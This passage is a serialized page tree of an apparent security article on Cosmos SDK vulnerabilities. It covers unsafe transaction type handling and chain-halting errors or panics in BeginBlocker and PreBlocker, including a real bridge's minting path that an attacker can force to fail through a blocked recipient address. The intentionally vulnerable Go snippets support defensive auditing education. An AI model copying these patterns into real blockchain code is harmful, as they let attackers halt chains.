default",{"type":24,"tag":83,"props":80574,"children":80575},{"style":107},[80576],{"type":29,"value":5313},{"type":24,"tag":83,"props":80578,"children":80579},{"class":85,"line":32019},[80580,80584,80588,80592,80596,80600,80604],{"type":24,"tag":83,"props":80581,"children":80582},{"style":117},[80583],{"type":29,"value":78790},{"type":24,"tag":83,"props":80585,"children":80586},{"style":137},[80587],{"type":29,"value":25592},{"type":24,"tag":83,"props":80589,"children":80590},{"style":107},[80591],{"type":29,"value":568},{"type":24,"tag":83,"props":80593,"children":80594},{"style":137},[80595],{"type":29,"value":80248},{"type":24,"tag":83,"props":80597,"children":80598},{"style":107},[80599],{"type":29,"value":161},{"type":24,"tag":83,"props":80601,"children":80602},{"style":101},[80603],{"type":29,"value":80257},{"type":24,"tag":83,"props":80605,"children":80606},{"style":107},[80607],{"type":29,"value":3208},{"type":24,"tag":83,"props":80609,"children":80610},{"class":85,"line":32040},[80611,80616,80620,80625,80629,80633,80637,80642,80646,80651,80655,80659],{"type":24,"tag":83,"props":80612,"children":80613},{"style":137},[80614],{"type":29,"value":80615},"                sdkerrors",{"type":24,"tag":83,"props":80617,"children":80618},{"style":107},[80619],{"type":29,"value":161},{"type":24,"tag":83,"props":80621,"children":80622},{"style":101},[80623],{"type":29,"value":80624},"Wrapf",{"type":24,"tag":83,"props":80626,"children":80627},{"style":107},[80628],{"type":29,"value":558},{"type":24,"tag":83,"props":80630,"children":80631},{"style":137},[80632],{"type":29,"value":80286},{"type":24,"tag":83,"props":80634,"children":80635},{"style":107},[80636],{"type":29,"value":161},{"type":24,"tag":83,"props":80638,"children":80639},{"style":137},[80640],{"type":29,"value":80641},"ErrUnknownRequest",{"type":24,"tag":83,"props":80643,"children":80644},{"style":107},[80645],{"type":29,"value":568},{"type":24,"tag":83,"props":80647,"children":80648},{"style":187},[80649],{"type":29,"value":80650},"\"invalid transaction type: %T\"",{"type":24,"tag":83,"props":80652,"children":80653},{"style":107},[80654],{"type":29,"value":568},{"type":24,"tag":83,"props":80656,"children":80657},{"style":137},[80658],{"type":29,"value":78895},{"type":24,"tag":83,"props":80660,"children":80661},{"style":107},[80662],{"type":29,"value":6483},{"type":24,"tag":83,"props":80664,"children":80666},{"class":85,"line":80665},53,[80667,80672],{"type":24,"tag":83,"props":80668,"children":80669},{"style":187},[80670],{"type":29,"value":80671},"                \"transaction is not an SDK tx\"",{"type":24,"tag":83,"props":80673,"children":80674},{"style":107},[80675],{"type":29,"value":989},{"type":24,"tag":83,"props":80677,"children":80679},{"class":85,"line":80678},54,[80680],{"type":24,"tag":83,"props":80681,"children":80682},{"style":107},[80683],{"type":29,"value":77230},{"type":24,"tag":83,"props":80685,"children":80687},{"class":85,"line":80686},55,[80688],{"type":24,"tag":83,"props":80689,"children":80690},{"style":107},[80691],{"type":29,"value":3092},{"type":24,"tag":83,"props":80693,"children":80695},{"class":85,"line":80694},56,[80696],{"type":24,"tag":83,"props":80697,"children":80698},{"emptyLinePlaceholder":16},[80699],{"type":29,"value":3422},{"type":24,"tag":83,"props":80701,"children":80703},{"class":85,"line":80702},57,[80704,80708,80712,80716,80720,80724,80728,80732,80736],{"type":24,"tag":83,"props":80705,"children":80706},{"style":117},[80707],{"type":29,"value":15482},{"type":24,"tag":83,"props":80709,"children":80710},{"style":101},[80711],{"type":29,"value":79837},{"type":24,"tag":83,"props":80713,"children":80714},{"style":107},[80715],{"type":29,"value":558},{"type":24,"tag":83,"props":80717,"children":80718},{"style":137},[80719],{"type":29,"value":20021},{"type":24,"tag":83,"props":80721,"children":80722},{"style":107},[80723],{"type":29,"value":568},{"type":24,"tag":83,"props":80725,"children":80726},{"style":137},[80727],{"type":29,"value":78895},{"type":24,"tag":83,"props":80729,"children":80730},{"style":107},[80731],{"type":29,"value":568},{"type":24,"tag":83,"props":80733,"children":80734},{"style":137},[80735],{"type":29,"value":79775},{"type":24,"tag":83,"props":80737,"children":80738},{"style":107},[80739],{"type":29,"value":2905},{"type":24,"tag":83,"props":80741,"children":80743},{"class":85,"line":80742},58,[80744],{"type":24,"tag":83,"props":80745,"children":80746},{"style":107},[80747],{"type":29,"value":446},{"type":24,"tag":83,"props":80749,"children":80751},{"class":85,"line":80750},59,[80752],{"type":24,"tag":83,"props":80753,"children":80754},{"style":107},[80755],{"type":29,"value":464},{"type":24,"tag":25,"props":80757,"children":80758},{},[80759,80761,80766,80768,80775,80776,80783],{"type":29,"value":80760},"Additional examples of incorrect ",{"type":24,"tag":32,"props":80762,"children":80764},{"className":80763},[],[80765],{"type":29,"value":78185},{"type":29,"value":80767}," usage include ",{"type":24,"tag":2033,"props":80769,"children":80772},{"href":80770,"rel":80771},"https://jumpcrypto.com/writing/bypassing-ethermint-ante-handlers",[2037],[80773],{"type":29,"value":80774},"yet more bypassable checks and loss of funds",{"type":29,"value":2287},{"type":24,"tag":2033,"props":80777,"children":80780},{"href":80778,"rel":80779},"https://github.com/cosmos/ibc-go/issues/853",[2037],[80781],{"type":29,"value":80782},"incorrect data passing between blockchains",{"type":29,"value":161},{"type":24,"tag":51,"props":80785,"children":80787},{"id":80786},"errors-panics-i-can-handle-it",[80788],{"type":29,"value":80789},"Errors? Panics? I can handle it",{"type":24,"tag":25,"props":80791,"children":80792},{},[80793],{"type":29,"value":80794},"Smart contract developers are used to not properly handling errors. This is acceptable since most underlying blockchains revert all state changes when execution fails.",{"type":24,"tag":25,"props":80796,"children":80797},{},[80798],{"type":29,"value":80799},"Cosmos is designed to provide a similar experience. Whenever some message handler returns an error, changes to the persistent state are dropped. Panics are handled similarly, where a recovery handler is wrapped around the message execution to convert panics into errors for a downstream process.",{"type":24,"tag":25,"props":80801,"children":80802},{},[80803,80805,80811,80813,80818],{"type":29,"value":80804},"This design is pretty neat and allows developers to write code in a rather lazy way. For instance, the following code works perfectly fine. If ",{"type":24,"tag":32,"props":80806,"children":80808},{"className":80807},[],[80809],{"type":29,"value":80810},"k.keeper.TotalReward()",{"type":29,"value":80812}," returns zero, the ",{"type":24,"tag":32,"props":80814,"children":80816},{"className":80815},[],[80817],{"type":29,"value":57660},{"type":29,"value":80819}," execution will simply rollback as if nothing has happened.",{"type":24,"tag":73,"props":80821,"children":80823},{"code":80822,"language":75879,"meta":7,"className":75880,"style":7},"func (k msgServer) AllocateReward(\n    goCtx context.Context,\n    msg *types.MsgAllocateReward)\n(*types.MsgAllocatRewardResponse, error) {\n\n    RewardPerShare := k.keeper.Shares() /  k.keeper.TotalReward()\n    k.keeper.DistributeReward(RewardPerShare)\n\n    return &types.MsgAllocateRewardResponse, nil\n}\n",[80824],{"type":24,"tag":32,"props":80825,"children":80826},{"__ignoreMap":7},[80827,80860,80883,80911,80947,80954,81023,81061,81068,81100],{"type":24,"tag":83,"props":80828,"children":80829},{"class":85,"line":86},[80830,80834,80838,80843,80847,80851,80856],{"type":24,"tag":83,"props":80831,"children":80832},{"style":90},[80833],{"type":29,"value":76015},{"type":24,"tag":83,"props":80835,"children":80836},{"style":107},[80837],{"type":29,"value":223},{"type":24,"tag":83,"props":80839,"children":80840},{"style":137},[80841],{"type":29,"value":80842},"k ",{"type":24,"tag":83,"props":80844,"children":80845},{"style":3163},[80846],{"type":29,"value":76029},{"type":24,"tag":83,"props":80848,"children":80849},{"style":107},[80850],{"type":29,"value":633},{"type":24,"tag":83,"props":80852,"children":80853},{"style":101},[80854],{"type":29,"value":80855},"AllocateReward",{"type":24,"tag":83,"props":80857,"children":80858},{"style":107},[80859],{"type":29,"value":3208},{"type":24,"tag":83,"props":80861,"children":80862},{"class":85,"line":113},[80863,80867,80871,80875,80879],{"type":24,"tag":83,"props":80864,"children":80865},{"style":137},[80866],{"type":29,"value":76050},{"type":24,"tag":83,"props":80868,"children":80869},{"style":3163},[80870],{"type":29,"value":76055},{"type":24,"tag":83,"props":80872,"children":80873},{"style":107},[80874],{"type":29,"value":161},{"type":24,"tag":83,"props":80876,"children":80877},{"style":3163},[80878],{"type":29,"value":76064},{"type":24,"tag":83,"props":80880,"children":80881},{"style":107},[80882],{"type":29,"value":989},{"type":24,"tag":83,"props":80884,"children":80885},{"class":85,"line":128},[80886,80890,80894,80898,80902,80907],{"type":24,"tag":83,"props":80887,"children":80888},{"style":137},[80889],{"type":29,"value":76076},{"type":24,"tag":83,"props":80891,"children":80892},{"style":143},[80893],{"type":29,"value":9563},{"type":24,"tag":83,"props":80895,"children":80896},{"style":3163},[80897],{"type":29,"value":5504},{"type":24,"tag":83,"props":80899,"children":80900},{"style":107},[80901],{"type":29,"value":161},{"type":24,"tag":83,"props":80903,"children":80904},{"style":3163},[80905],{"type":29,"value":80906},"MsgAllocateReward",{"type":24,"tag":83,"props":80908,"children":80909},{"style":107},[80910],{"type":29,"value":2905},{"type":24,"tag":83,"props":80912,"children":80913},{"class":85,"line":183},[80914,80918,80922,80926,80930,80935,80939,80943],{"type":24,"tag":83,"props":80915,"children":80916},{"style":107},[80917],{"type":29,"value":558},{"type":24,"tag":83,"props":80919,"children":80920},{"style":143},[80921],{"type":29,"value":4315},{"type":24,"tag":83,"props":80923,"children":80924},{"style":3163},[80925],{"type":29,"value":5504},{"type":24,"tag":83,"props":80927,"children":80928},{"style":107},[80929],{"type":29,"value":161},{"type":24,"tag":83,"props":80931,"children":80932},{"style":3163},[80933],{"type":29,"value":80934},"MsgAllocatRewardResponse",{"type":24,"tag":83,"props":80936,"children":80937},{"style":107},[80938],{"type":29,"value":568},{"type":24,"tag":83,"props":80940,"children":80941},{"style":3163},[80942],{"type":29,"value":14606},{"type":24,"tag":83,"props":80944,"children":80945},{"style":107},[80946],{"type":29,"value":253},{"type":24,"tag":83,"props":80948,"children":80949},{"class":85,"line":203},[80950],{"type":24,"tag":83,"props":80951,"children":80952},{"emptyLinePlaceholder":16},[80953],{"type":29,"value":3422},{"type":24,"tag":83,"props":80955,"children":80956},{"class":85,"line":212},[80957,80962,80966,80971,80975,80980,80984,80989,80993,80997,81002,81006,81010,81014,81019],{"type":24,"tag":83,"props":80958,"children":80959},{"style":137},[80960],{"type":29,"value":80961},"    RewardPerShare",{"type":24,"tag":83,"props":80963,"children":80964},{"style":143},[80965],{"type":29,"value":76131},{"type":24,"tag":83,"props":80967,"children":80968},{"style":137},[80969],{"type":29,"value":80970}," k",{"type":24,"tag":83,"props":80972,"children":80973},{"style":107},[80974],{"type":29,"value":161},{"type":24,"tag":83,"props":80976,"children":80977},{"style":137},[80978],{"type":29,"value":80979},"keeper",{"type":24,"tag":83,"props":80981,"children":80982},{"style":107},[80983],{"type":29,"value":161},{"type":24,"tag":83,"props":80985,"children":80986},{"style":101},[80987],{"type":29,"value":80988},"Shares",{"type":24,"tag":83,"props":80990,"children":80991},{"style":107},[80992],{"type":29,"value":13788},{"type":24,"tag":83,"props":80994,"children":80995},{"style":143},[80996],{"type":29,"value":4325},{"type":24,"tag":83,"props":80998,"children":80999},{"style":137},[81000],{"type":29,"value":81001},"  k",{"type":24,"tag":83,"props":81003,"children":81004},{"style":107},[81005],{"type":29,"value":161},{"type":24,"tag":83,"props":81007,"children":81008},{"style":137},[81009],{"type":29,"value":80979},{"type":24,"tag":83,"props":81011,"children":81012},{"style":107},[81013],{"type":29,"value":161},{"type":24,"tag":83,"props":81015,"children":81016},{"style":101},[81017],{"type":29,"value":81018},"TotalReward",{"type":24,"tag":83,"props":81020,"children":81021},{"style":107},[81022],{"type":29,"value":7483},{"type":24,"tag":83,"props":81024,"children":81025},{"class":85,"line":256},[81026,81031,81035,81039,81043,81048,81052,81057],{"type":24,"tag":83,"props":81027,"children":81028},{"style":137},[81029],{"type":29,"value":81030},"    k",{"type":24,"tag":83,"props":81032,"children":81033},{"style":107},[81034],{"type":29,"value":161},{"type":24,"tag":83,"props":81036,"children":81037},{"style":137},[81038],{"type":29,"value":80979},{"type":24,"tag":83,"props":81040,"children":81041},{"style":107},[81042],{"type":29,"value":161},{"type":24,"tag":83,"props":81044,"children":81045},{"style":101},[81046],{"type":29,"value":81047},"DistributeReward",{"type":24,"tag":83,"props":81049,"children":81050},{"style":107},[81051],{"type":29,"value":558},{"type":24,"tag":83,"props":81053,"children":81054},{"style":137},[81055],{"type":29,"value":81056},"RewardPerShare",{"type":24,"tag":83,"props":81058,"children":81059},{"style":107},[81060],{"type":29,"value":2905},{"type":24,"tag":83,"props":81062,"children":81063},{"class":85,"line":270},[81064],{"type":24,"tag":83,"props":81065,"children":81066},{"emptyLinePlaceholder":16},[81067],{"type":29,"value":3422},{"type":24,"tag":83,"props":81069,"children":81070},{"class":85,"line":302},[81071,81075,81079,81083,81087,81092,81096],{"type":24,"tag":83,"props":81072,"children":81073},{"style":117},[81074],{"type":29,"value":16725},{"type":24,"tag":83,"props":81076,"children":81077},{"style":143},[81078],{"type":29,"value":6888},{"type":24,"tag":83,"props":81080,"children":81081},{"style":137},[81082],{"type":29,"value":5504},{"type":24,"tag":83,"props":81084,"children":81085},{"style":107},[81086],{"type":29,"value":161},{"type":24,"tag":83,"props":81088,"children":81089},{"style":137},[81090],{"type":29,"value":81091},"MsgAllocateRewardResponse",{"type":24,"tag":83,"props":81093,"children":81094},{"style":107},[81095],{"type":29,"value":568},{"type":24,"tag":83,"props":81097,"children":81098},{"style":90},[81099],{"type":29,"value":76357},{"type":24,"tag":83,"props":81101,"children":81102},{"class":85,"line":324},[81103],{"type":24,"tag":83,"props":81104,"children":81105},{"style":107},[81106],{"type":29,"value":464},{"type":24,"tag":25,"props":81108,"children":81109},{},[81110,81112,81118,81119,81125,81126,81132,81134,81139],{"type":29,"value":81111},"However, the same assumption does not always hold. Certain parts of Cosmos, such as ",{"type":24,"tag":32,"props":81113,"children":81115},{"className":81114},[],[81116],{"type":29,"value":81117},"PreBlocker",{"type":29,"value":568},{"type":24,"tag":32,"props":81120,"children":81122},{"className":81121},[],[81123],{"type":29,"value":81124},"BeginBlocker",{"type":29,"value":6234},{"type":24,"tag":32,"props":81127,"children":81129},{"className":81128},[],[81130],{"type":29,"value":81131},"EndBlocker",{"type":29,"value":81133},", are not protected by the error handling mechanism. So, if we move the reward distribution logic into ",{"type":24,"tag":32,"props":81135,"children":81137},{"className":81136},[],[81138],{"type":29,"value":81124},{"type":29,"value":81140}," to automatically distribute rewards at the start of each block, panics raised by division by 0 will halt the chain.",{"type":24,"tag":73,"props":81142,"children":81144},{"code":81143,"language":75879,"meta":7,"className":75880,"style":7},"func BeginBlocker(ctx context.Context, keeper keeper.Keeper) error {\n\n    RewardPerShare := keeper.Shares() /  keeper.TotalReward()\n    keeper.DistributeReward(RewardPerShare)\n\n return nil\n}\n",[81145],{"type":24,"tag":32,"props":81146,"children":81147},{"__ignoreMap":7},[81148,81213,81220,81268,81296,81303,81315],{"type":24,"tag":83,"props":81149,"children":81150},{"class":85,"line":86},[81151,81155,81160,81164,81168,81172,81176,81180,81184,81188,81193,81197,81201,81205,81209],{"type":24,"tag":83,"props":81152,"children":81153},{"style":90},[81154],{"type":29,"value":76015},{"type":24,"tag":83,"props":81156,"children":81157},{"style":101},[81158],{"type":29,"value":81159}," BeginBlocker",{"type":24,"tag":83,"props":81161,"children":81162},{"style":107},[81163],{"type":29,"value":558},{"type":24,"tag":83,"props":81165,"children":81166},{"style":137},[81167],{"type":29,"value":20021},{"type":24,"tag":83,"props":81169,"children":81170},{"style":3163},[81171],{"type":29,"value":76055},{"type":24,"tag":83,"props":81173,"children":81174},{"style":107},[81175],{"type":29,"value":161},{"type":24,"tag":83,"props":81177,"children":81178},{"style":3163},[81179],{"type":29,"value":76064},{"type":24,"tag":83,"props":81181,"children":81182},{"style":107},[81183],{"type":29,"value":568},{"type":24,"tag":83,"props":81185,"children":81186},{"style":137},[81187],{"type":29,"value":80979},{"type":24,"tag":83,"props":81189,"children":81190},{"style":3163},[81191],{"type":29,"value":81192}," keeper",{"type":24,"tag":83,"props":81194,"children":81195},{"style":107},[81196],{"type":29,"value":161},{"type":24,"tag":83,"props":81198,"children":81199},{"style":3163},[81200],{"type":29,"value":79659},{"type":24,"tag":83,"props":81202,"children":81203},{"style":107},[81204],{"type":29,"value":633},{"type":24,"tag":83,"props":81206,"children":81207},{"style":3163},[81208],{"type":29,"value":14606},{"type":24,"tag":83,"props":81210,"children":81211},{"style":107},[81212],{"type":29,"value":125},{"type":24,"tag":83,"props":81214,"children":81215},{"class":85,"line":113},[81216],{"type":24,"tag":83,"props":81217,"children":81218},{"emptyLinePlaceholder":16},[81219],{"type":29,"value":3422},{"type":24,"tag":83,"props":81221,"children":81222},{"class":85,"line":128},[81223,81227,81231,81235,81239,81243,81247,81251,81256,81260,81264],{"type":24,"tag":83,"props":81224,"children":81225},{"style":137},[81226],{"type":29,"value":80961},{"type":24,"tag":83,"props":81228,"children":81229},{"style":143},[81230],{"type":29,"value":76131},{"type":24,"tag":83,"props":81232,"children":81233},{"style":137},[81234],{"type":29,"value":81192},{"type":24,"tag":83,"props":81236,"children":81237},{"style":107},[81238],{"type":29,"value":161},{"type":24,"tag":83,"props":81240,"children":81241},{"style":101},[81242],{"type":29,"value":80988},{"type":24,"tag":83,"props":81244,"children":81245},{"style":107},[81246],{"type":29,"value":13788},{"type":24,"tag":83,"props":81248,"children":81249},{"style":143},[81250],{"type":29,"value":4325},{"type":24,"tag":83,"props":81252,"children":81253},{"style":137},[81254],{"type":29,"value":81255},"  keeper",{"type":24,"tag":83,"props":81257,"children":81258},{"style":107},[81259],{"type":29,"value":161},{"type":24,"tag":83,"props":81261,"children":81262},{"style":101},[81263],{"type":29,"value":81018},{"type":24,"tag":83,"props":81265,"children":81266},{"style":107},[81267],{"type":29,"value":7483},{"type":24,"tag":83,"props":81269,"children":81270},{"class":85,"line":183},[81271,81276,81280,81284,81288,81292],{"type":24,"tag":83,"props":81272,"children":81273},{"style":137},[81274],{"type":29,"value":81275},"    keeper",{"type":24,"tag":83,"props":81277,"children":81278},{"style":107},[81279],{"type":29,"value":161},{"type":24,"tag":83,"props":81281,"children":81282},{"style":101},[81283],{"type":29,"value":81047},{"type":24,"tag":83,"props":81285,"children":81286},{"style":107},[81287],{"type":29,"value":558},{"type":24,"tag":83,"props":81289,"children":81290},{"style":137},[81291],{"type":29,"value":81056},{"type":24,"tag":83,"props":81293,"children":81294},{"style":107},[81295],{"type":29,"value":2905},{"type":24,"tag":83,"props":81297,"children":81298},{"class":85,"line":203},[81299],{"type":24,"tag":83,"props":81300,"children":81301},{"emptyLinePlaceholder":16},[81302],{"type":29,"value":3422},{"type":24,"tag":83,"props":81304,"children":81305},{"class":85,"line":212},[81306,81310],{"type":24,"tag":83,"props":81307,"children":81308},{"style":117},[81309],{"type":29,"value":52579},{"type":24,"tag":83,"props":81311,"children":81312},{"style":90},[81313],{"type":29,"value":81314}," nil\n",{"type":24,"tag":83,"props":81316,"children":81317},{"class":85,"line":256},[81318],{"type":24,"tag":83,"props":81319,"children":81320},{"style":107},[81321],{"type":29,"value":464},{"type":24,"tag":1818,"props":81323,"children":81325},{"id":81324},"real-world-examples-3",[81326],{"type":29,"value":76404},{"type":24,"tag":25,"props":81328,"children":81329},{},[81330],{"type":29,"value":81331},"Recently, developers have become increasingly aware of unprotected ABCI functions, but this doesn't stop DoS bugs from manifesting. So what is the catch?",{"type":24,"tag":25,"props":81333,"children":81334},{},[81335,81337,81343,81345,81350,81352,81358,81360,81366,81368,81374],{"type":29,"value":81336},"The problem lies in the lack of proper understanding of utility functions. The example here implements a bridge that mints wrapped BTC tokens in the PreBlocker when bridging events are observed. Notably, errors returned by ",{"type":24,"tag":32,"props":81338,"children":81340},{"className":81339},[],[81341],{"type":29,"value":81342},"bankKeeper.SendCoinsFromModuleToAccount",{"type":29,"value":81344}," will be bubbled up through ",{"type":24,"tag":32,"props":81346,"children":81348},{"className":81347},[],[81349],{"type":29,"value":81117},{"type":29,"value":81351}," and halt the chain. It turns out an attacker can force ",{"type":24,"tag":32,"props":81353,"children":81355},{"className":81354},[],[81356],{"type":29,"value":81357},"SendCoinsFromModuleToAccount",{"type":29,"value":81359}," to return an error by setting ",{"type":24,"tag":32,"props":81361,"children":81363},{"className":81362},[],[81364],{"type":29,"value":81365},"recipient",{"type":29,"value":81367}," to some ",{"type":24,"tag":32,"props":81369,"children":81371},{"className":81370},[],[81372],{"type":29,"value":81373},"BlockedAddr",{"type":29,"value":81375},",rendering the code susceptible to DoS attacks.",{"type":24,"tag":25,"props":81377,"children":81378},{},[81379],{"type":24,"tag":2033,"props":81380,"children":81383},{"href":81381,"rel":81382},"https://github.com/mezo-org/mezod/blob/d3b1a049a9acce977fdadd245cb381252f101922/x/bridge/keeper/assets_locked.go#L170",[2037],[81384],{"type":29,"value":76454},{"type":24,"tag":73,"props":81386,"children":81388},{"code":81387,"language":75879,"meta":7,"className":75880,"style":7},"func (pbh *PreBlockHandler) PreBlocker() sdk.PreBlocker {\n    return func(\n        ctx sdk.Context,\n        req *cmtabci.RequestFinalizeBlock,\n    ) (*sdk.ResponsePreBlock, error) {\n        ...\n        err := pbh.bridgeKeeper.AcceptAssetsLocked(ctx, events)\n        if err != nil {\n            return nil, fmt.Errorf(\"cannot accept AssetsLocked events: %w\", err)\n        }\n        ...\n    }\n}\n\nfunc (k Keeper) AcceptAssetsLocked(\n    ctx sdk.Context,\n    events types.AssetsLockedEvents,\n) error {\n    ...\n    for _, event := range events {\n        recipient, err := sdk.AccAddressFromBech32(event.Recipient)\n        if err != nil {\n            return fmt.Errorf(\"failed to parse recipient address: %w\", err)\n        }\n\n        if bytes.Equal(event.TokenBytes(), sourceBTCToken) {\n            err = k.mintBTC(ctx, recipient, event.Amount)\n            if err != nil {\n                return fmt.Errorf(\n                    \"failed to mint BTC for event %v: %w\",\n                    event.Sequence,\n                    err,\n                )\n            }\n        } else {\n            ...\n        }\n    }\n    ...\n}\n\nfunc (k Keeper) mintBTC(\n    ctx sdk.Context,\n    recipient sdk.AccAddress,\n    amount math.Int,\n) error {\n    ...\n    err = k.bankKeeper.SendCoinsFromModuleToAccount(\n        ctx,\n        types.ModuleName,\n        recipient,\n        coins,\n    )\n    if err != nil {\n        return fmt.Errorf(\"failed to send coins: %w\", err)\n    }\n    ...\n}\n",[81389],{"type":24,"tag":32,"props":81390,"children":81391},{"__ignoreMap":7},[81392,81445,81460,81483,81513,81549,81557,81613,81637,81687,81694,81701,81708,81715,81722,81753,81776,81801,81816,81823,81860,81914,81937,81978,81985,81992,82043,82104,82127,82150,82162,82183,82195,82203,82210,82225,82233,82240,82247,82254,82261,82268,82299,82322,82347,82372,82387,82394,82431,82442,82463,82474,82486,82493,82516,82556,82563,82570],{"type":24,"tag":83,"props":81393,"children":81394},{"class":85,"line":86},[81395,81399,81403,81408,81412,81417,81421,81425,81429,81433,81437,81441],{"type":24,"tag":83,"props":81396,"children":81397},{"style":90},[81398],{"type":29,"value":76015},{"type":24,"tag":83,"props":81400,"children":81401},{"style":107},[81402],{"type":29,"value":223},{"type":24,"tag":83,"props":81404,"children":81405},{"style":137},[81406],{"type":29,"value":81407},"pbh ",{"type":24,"tag":83,"props":81409,"children":81410},{"style":143},[81411],{"type":29,"value":4315},{"type":24,"tag":83,"props":81413,"children":81414},{"style":3163},[81415],{"type":29,"value":81416},"PreBlockHandler",{"type":24,"tag":83,"props":81418,"children":81419},{"style":107},[81420],{"type":29,"value":633},{"type":24,"tag":83,"props":81422,"children":81423},{"style":101},[81424],{"type":29,"value":81117},{"type":24,"tag":83,"props":81426,"children":81427},{"style":107},[81428],{"type":29,"value":13788},{"type":24,"tag":83,"props":81430,"children":81431},{"style":3163},[81432],{"type":29,"value":78444},{"type":24,"tag":83,"props":81434,"children":81435},{"style":107},[81436],{"type":29,"value":161},{"type":24,"tag":83,"props":81438,"children":81439},{"style":3163},[81440],{"type":29,"value":81117},{"type":24,"tag":83,"props":81442,"children":81443},{"style":107},[81444],{"type":29,"value":125},{"type":24,"tag":83,"props":81446,"children":81447},{"class":85,"line":113},[81448,81452,81456],{"type":24,"tag":83,"props":81449,"children":81450},{"style":117},[81451],{"type":29,"value":16725},{"type":24,"tag":83,"props":81453,"children":81454},{"style":90},[81455],{"type":29,"value":79723},{"type":24,"tag":83,"props":81457,"children":81458},{"style":107},[81459],{"type":29,"value":3208},{"type":24,"tag":83,"props":81461,"children":81462},{"class":85,"line":128},[81463,81467,81471,81475,81479],{"type":24,"tag":83,"props":81464,"children":81465},{"style":137},[81466],{"type":29,"value":25935},{"type":24,"tag":83,"props":81468,"children":81469},{"style":3163},[81470],{"type":29,"value":78355},{"type":24,"tag":83,"props":81472,"children":81473},{"style":107},[81474],{"type":29,"value":161},{"type":24,"tag":83,"props":81476,"children":81477},{"style":3163},[81478],{"type":29,"value":76064},{"type":24,"tag":83,"props":81480,"children":81481},{"style":107},[81482],{"type":29,"value":989},{"type":24,"tag":83,"props":81484,"children":81485},{"class":85,"line":183},[81486,81491,81495,81500,81504,81509],{"type":24,"tag":83,"props":81487,"children":81488},{"style":137},[81489],{"type":29,"value":81490},"        req",{"type":24,"tag":83,"props":81492,"children":81493},{"style":143},[81494],{"type":29,"value":9563},{"type":24,"tag":83,"props":81496,"children":81497},{"style":3163},[81498],{"type":29,"value":81499},"cmtabci",{"type":24,"tag":83,"props":81501,"children":81502},{"style":107},[81503],{"type":29,"value":161},{"type":24,"tag":83,"props":81505,"children":81506},{"style":3163},[81507],{"type":29,"value":81508},"RequestFinalizeBlock",{"type":24,"tag":83,"props":81510,"children":81511},{"style":107},[81512],{"type":29,"value":989},{"type":24,"tag":83,"props":81514,"children":81515},{"class":85,"line":203},[81516,81520,81524,81528,81532,81537,81541,81545],{"type":24,"tag":83,"props":81517,"children":81518},{"style":107},[81519],{"type":29,"value":79791},{"type":24,"tag":83,"props":81521,"children":81522},{"style":143},[81523],{"type":29,"value":4315},{"type":24,"tag":83,"props":81525,"children":81526},{"style":3163},[81527],{"type":29,"value":78444},{"type":24,"tag":83,"props":81529,"children":81530},{"style":107},[81531],{"type":29,"value":161},{"type":24,"tag":83,"props":81533,"children":81534},{"style":3163},[81535],{"type":29,"value":81536},"ResponsePreBlock",{"type":24,"tag":83,"props":81538,"children":81539},{"style":107},[81540],{"type":29,"value":568},{"type":24,"tag":83,"props":81542,"children":81543},{"style":3163},[81544],{"type":29,"value":14606},{"type":24,"tag":83,"props":81546,"children":81547},{"style":107},[81548],{"type":29,"value":253},{"type":24,"tag":83,"props":81550,"children":81551},{"class":85,"line":212},[81552],{"type":24,"tag":83,"props":81553,"children":81554},{"style":143},[81555],{"type":29,"value":81556},"        ...\n",{"type":24,"tag":83,"props":81558,"children":81559},{"class":85,"line":256},[81560,81565,81569,81574,81578,81583,81587,81592,81596,81600,81604,81609],{"type":24,"tag":83,"props":81561,"children":81562},{"style":137},[81563],{"type":29,"value":81564},"        err",{"type":24,"tag":83,"props":81566,"children":81567},{"style":143},[81568],{"type":29,"value":76131},{"type":24,"tag":83,"props":81570,"children":81571},{"style":137},[81572],{"type":29,"value":81573}," pbh",{"type":24,"tag":83,"props":81575,"children":81576},{"style":107},[81577],{"type":29,"value":161},{"type":24,"tag":83,"props":81579,"children":81580},{"style":137},[81581],{"type":29,"value":81582},"bridgeKeeper",{"type":24,"tag":83,"props":81584,"children":81585},{"style":107},[81586],{"type":29,"value":161},{"type":24,"tag":83,"props":81588,"children":81589},{"style":101},[81590],{"type":29,"value":81591},"AcceptAssetsLocked",{"type":24,"tag":83,"props":81593,"children":81594},{"style":107},[81595],{"type":29,"value":558},{"type":24,"tag":83,"props":81597,"children":81598},{"style":137},[81599],{"type":29,"value":20021},{"type":24,"tag":83,"props":81601,"children":81602},{"style":107},[81603],{"type":29,"value":568},{"type":24,"tag":83,"props":81605,"children":81606},{"style":137},[81607],{"type":29,"value":81608},"events",{"type":24,"tag":83,"props":81610,"children":81611},{"style":107},[81612],{"type":29,"value":2905},{"type":24,"tag":83,"props":81614,"children":81615},{"class":85,"line":270},[81616,81620,81624,81628,81633],{"type":24,"tag":83,"props":81617,"children":81618},{"style":117},[81619],{"type":29,"value":3018},{"type":24,"tag":83,"props":81621,"children":81622},{"style":137},[81623],{"type":29,"value":48239},{"type":24,"tag":83,"props":81625,"children":81626},{"style":143},[81627],{"type":29,"value":290},{"type":24,"tag":83,"props":81629,"children":81630},{"style":90},[81631],{"type":29,"value":81632}," nil",{"type":24,"tag":83,"props":81634,"children":81635},{"style":107},[81636],{"type":29,"value":125},{"type":24,"tag":83,"props":81638,"children":81639},{"class":85,"line":302},[81640,81644,81648,81652,81657,81661,81666,81670,81675,81679,81683],{"type":24,"tag":83,"props":81641,"children":81642},{"style":117},[81643],{"type":29,"value":78790},{"type":24,"tag":83,"props":81645,"children":81646},{"style":90},[81647],{"type":29,"value":81632},{"type":24,"tag":83,"props":81649,"children":81650},{"style":107},[81651],{"type":29,"value":568},{"type":24,"tag":83,"props":81653,"children":81654},{"style":137},[81655],{"type":29,"value":81656},"fmt",{"type":24,"tag":83,"props":81658,"children":81659},{"style":107},[81660],{"type":29,"value":161},{"type":24,"tag":83,"props":81662,"children":81663},{"style":101},[81664],{"type":29,"value":81665},"Errorf",{"type":24,"tag":83,"props":81667,"children":81668},{"style":107},[81669],{"type":29,"value":558},{"type":24,"tag":83,"props":81671,"children":81672},{"style":187},[81673],{"type":29,"value":81674},"\"cannot accept AssetsLocked events: 